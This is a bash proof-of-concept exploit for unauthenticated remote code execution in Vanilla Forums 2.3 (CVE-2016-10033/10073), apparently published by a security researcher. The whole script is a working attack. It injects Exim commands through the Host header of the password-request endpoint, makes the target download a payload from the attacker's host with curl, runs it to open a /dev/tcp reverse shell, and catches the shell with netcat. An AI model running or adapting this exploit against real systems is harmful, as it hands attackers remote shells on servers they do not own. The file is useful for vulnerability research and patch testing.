#!/bin/bash
# 
#      __                     __   __  __           __                 
#     / /   ___  ____ _____ _/ /  / / / /___ ______/ /_____  __________
#    / /   / _ \/ __ `/ __ `/ /  / /_/ / __ `/ ___/ //_/ _ \/ ___/ ___/
#   / /___/  __/ /_/ / /_/ / /  / __  / /_/ / /__/ ,< /  __/ /  (__  ) 
#  /_____/\___/\__, /\__,_/_/  /_/ /_/\__,_/\___/_/|_|\___/_/  /____/  
#            /____/                                                   
# 
#
# Vanilla Forums <= 2.3   Remote Code Execution (RCE) PoC Exploit 0day
# Core version (no plugins, default config.)
#
# CVE-2016-10033 (RCE)
# CVE-2016-10073 (Header Injection)
#
# vanilla-forums-rce-exploit.sh (ver. 1.0)
#
#
# Discovered and coded by 
#
# Dawid Golunski
# https://legalhackers.com
# https://twitter.com/dawid_golunski
# 
# ExploitBox project:
# https://ExploitBox.io
#
#
# Exploit code:
# https://exploitbox.io/exploit/vanilla-forums-rce-exploit.sh
#
# Full advisory URL:
# https://exploitbox.io/vuln/Vanilla-Forums-Exploit-RCE-0day-Remote-Code-Exec-CVE-2016-10033.html
#
# Related advisories:
# https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html
# https://exploitbox.io/vuln/Vanilla-Forums-Exploit-Host-Header-Injection-CVE-2016-10073-0day.html
#
# White-paper 'Pwning PHP mail() function For Fun And RCE'
# https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html
#
#
# Usage:
# ./vanilla-forums-rce-exploit.sh target-forum-url reverse_shell_ip
#
# Tested on:
# Vanilla Core 2.3
# https://open.vanillaforums.com/addon/vanilla-core-2.3
#
# Disclaimer:
# For testing purposes only
#
#
# -----------------------------------------------------------------
#
# Interested in vulnerabilities/exploitation? 
#
# 
#                        .;lc'                          
#                    .,cdkkOOOko;.                      
#                 .,lxxkkkkOOOO000Ol'                   
#             .':oxxxxxkkkkOOOO0000KK0x:'               
#          .;ldxxxxxxxxkxl,.'lk0000KKKXXXKd;.           
#       ':oxxxxxxxxxxo;.       .:oOKKKXXXNNNNOl.        
#      '';ldxxxxxdc,.              ,oOXXXNNNXd;,.       
#     .ddc;,,:c;.         ,c:         .cxxc:;:ox:       
#     .dxxxxo,     .,   ,kMMM0:.  .,     .lxxxxx:       
#     .dxxxxxc     lW. oMMMMMMMK  d0     .xxxxxx:       
#     .dxxxxxc     .0k.,KWMMMWNo :X:     .xxxxxx:       
#     .dxxxxxc      .xN0xxxxxxxkXK,      .xxxxxx:       
#     .dxxxxxc    lddOMMMMWd0MMMMKddd.   .xxxxxx:       
#     .dxxxxxc      .cNMMMN.oMMMMx'      .xxxxxx:       
#     .dxxxxxc     lKo;dNMN.oMM0;:Ok.    'xxxxxx:       
#     .dxxxxxc    ;Mc   .lx.:o,    Kl    'xxxxxx:       
#     .dxxxxxdl;. .,               .. .;cdxxxxxx:       
#     .dxxxxxxxxxdc,.              'cdkkxxxxxxxx:       
#      .':oxxxxxxxxxdl;.       .;lxkkkkkxxxxdc,.        
#          .;ldxxxxxxxxxdc, .cxkkkkkkkkkxd:.            
#             .':oxxxxxxxxx.ckkkkkkkkxl,.               
#                 .,cdxxxxx.ckkkkkxc.                   
#                    .':odx.ckxl,.                      
#                        .,.'.      
#
# Subscribe at:
#
# https://ExploitBox.io
#
# https://twitter.com/Exploit_Box
#
# -----------------------------------------------------------------
 
intro="
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TU4ub01NMDs6T2suICAgIBtbMzRtJ3h4eHh4eDoNChtbMzdtIBtbNkMbWzE7MzRtLmR4eHh4eGMg
ICAgG1swbTtNYyAgIC5seC46bywgICAgS2wgICAgG1szNG0neHh4eHh4Og0KG1szN20gG1s2Qxtb
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MzRteCwNChtbMzdtIBtbMTJDLxtbMTBDLyAgIHwgICAvICAgL1wgICAgXA0KIBtbMTJDXF9fX19f
X19fXzxfX19fX19fPF9fX18+IFxfX19fPg0KIBtbMjFDG1sxOzM0bS4nOm9keC4bWzA7MzRtY2t4
bCwuDQobWzM3bSAbWzI1QxtbMTszNG0uLC4bWzA7MzRtJy4NChtbMzdtIA0K"
 
 
function prep_host_header() {
        cmd="$1"
        rce_cmd="\${run{$cmd}}";
 
        # replace / with ${substr{0}{1}{$spool_directory}}
        #sed 's^/^${substr{0}{1}{$spool_directory}}^g'
        rce_cmd="`echo $rce_cmd | sed 's^/^\${substr{0}{1}{\$spool_directory}}^g'`"
 
        # replace ' ' (space) with 
        #sed 's^ ^${substr{10}{1}{$tod_log}}$^g'
        rce_cmd="`echo $rce_cmd | sed 's^ ^\${substr{10}{1}{\$tod_log}}^g'`"
        #return "target(any -froot@localhost -be $rce_cmd null)"
        host_header="target(any -froot@localhost -be $rce_cmd null)"
        return 0
}
 
 
echo "$intro"  | base64 -d
 
if [ "$#" -ne 2 ]; then
    echo -e "Usage:\n$0 target-forum-url reverse_shell_ip\n"
    exit 1
fi
target="$1"
rev_host="$2"
 
 
echo -e '                   \e[44m| ExploitBox.io |\e[0m'
echo -e "
\e[94m+ --=|\e[0m \e[91m  Vanilla Forums <= 2.3 Unauth. RCE Exploit \e[0m  \e[94m|\e[0m"
#sleep 1s
echo -e "\e[94m+ --=|\e[0m                                               \e[94m|\e[0m
\e[94m+ --=|\e[0m           Discovered & Coded By               \e[94m|\e[0m
\e[94m+ --=|\e[0m               \033[94mDawid Golunski\033[0m                  \e[94m|\e[0m 
\e[94m+ --=|\e[0m         \033[94mhttps://legalhackers.com\033[0m              \e[94m|\e[0m 
\e[94m+ --=|\e[0m               \033[94m@dawid_golunski\033[0m                 \e[94m|\e[0m 
\e[94m+ --=|\e[0m                                               \e[94m|\e[0m
\e[94m+ --=|\e[0m \"With Great Power Comes Great Responsibility\" \e[94m|\e[0m 
\e[94m+ --=|\e[0m        \e[91m*\e[0m For testing purposes only \e[91m*\e[0m          \e[94m|\e[0m 
 
"
 
echo -ne "\e[91m[*]\033[0m"
read -p " Sure you want to get a shell on the target '$target' ? [y/N] " choice
echo
if [ "$choice" == "y" ]; then
     
    echo -e "\e[92m[*]\033[0m Guess I can't argue with that... Let's get started...\n"
    #sleep 2s
    #sleep 2s
 
    # Host payload on :80
    RCE_exec_cmd="(sleep 5s && nohup bash -i >/dev/tcp/$rev_host/1337 0<&1 2>&1) &"
    echo "$RCE_exec_cmd" > rce.txt
    python -mSimpleHTTPServer 80 2>/dev/null >&2 &
    hpid=$!
 
    # POST data string
    data='hpt=&Target=discussions&Email=admin&Request+a+new+password=Request+a+new+password&DeliveryType=VIEW&DeliveryMethod=JSON'
 
    # Save payload on the target in /tmp/rce
    cmd="/usr/bin/curl -o/tmp/rce $rev_host/rce.txt"
    prep_host_header "$cmd"
    curl -H"Host: $host_header" -0 -s -i -d "$data" $target/entry/passwordrequest | grep -q "200 OK"
    if [ $? -ne 0 ]; then
        echo "[!] Failed conecting to the target URL. Exiting"
        exit 2
    fi
    echo -e "\e[92m[+]\033[0m Connected to the target"
    echo -e "\n\e[92m[+]\e[0m Payload sent successfully"
    sleep 2s
 
    # Execute payload (RCE_exec_cmd) on the target /bin/bash /tmp/rce
    cmd="/usr/bin/nohup /bin/bash /tmp/rce"
    prep_host_header "$cmd"
    #echo -e "Host Payload2: \nHost: $host_header"
    curl -H"Host: $host_header" -s -0 -i -d "$data" $target/entry/passwordrequest >/dev/null 2>&1 &
    echo -e "\n\e[92m[+]\033[0m Payload executed!"
 
    echo -e "\n\e[92m[*]\033[0m Waiting for the target to send us a \e[94mreverse shell\e[0m...\n"
    nc -vv -l 1337
    #killall python
    echo
else
    echo -e "\e[92m[+]\033[0m Responsible choice ;) Exiting.\n"
    exit 0
 
fi
    #kill -9 $hpid
 
echo "Exiting..."
exit 0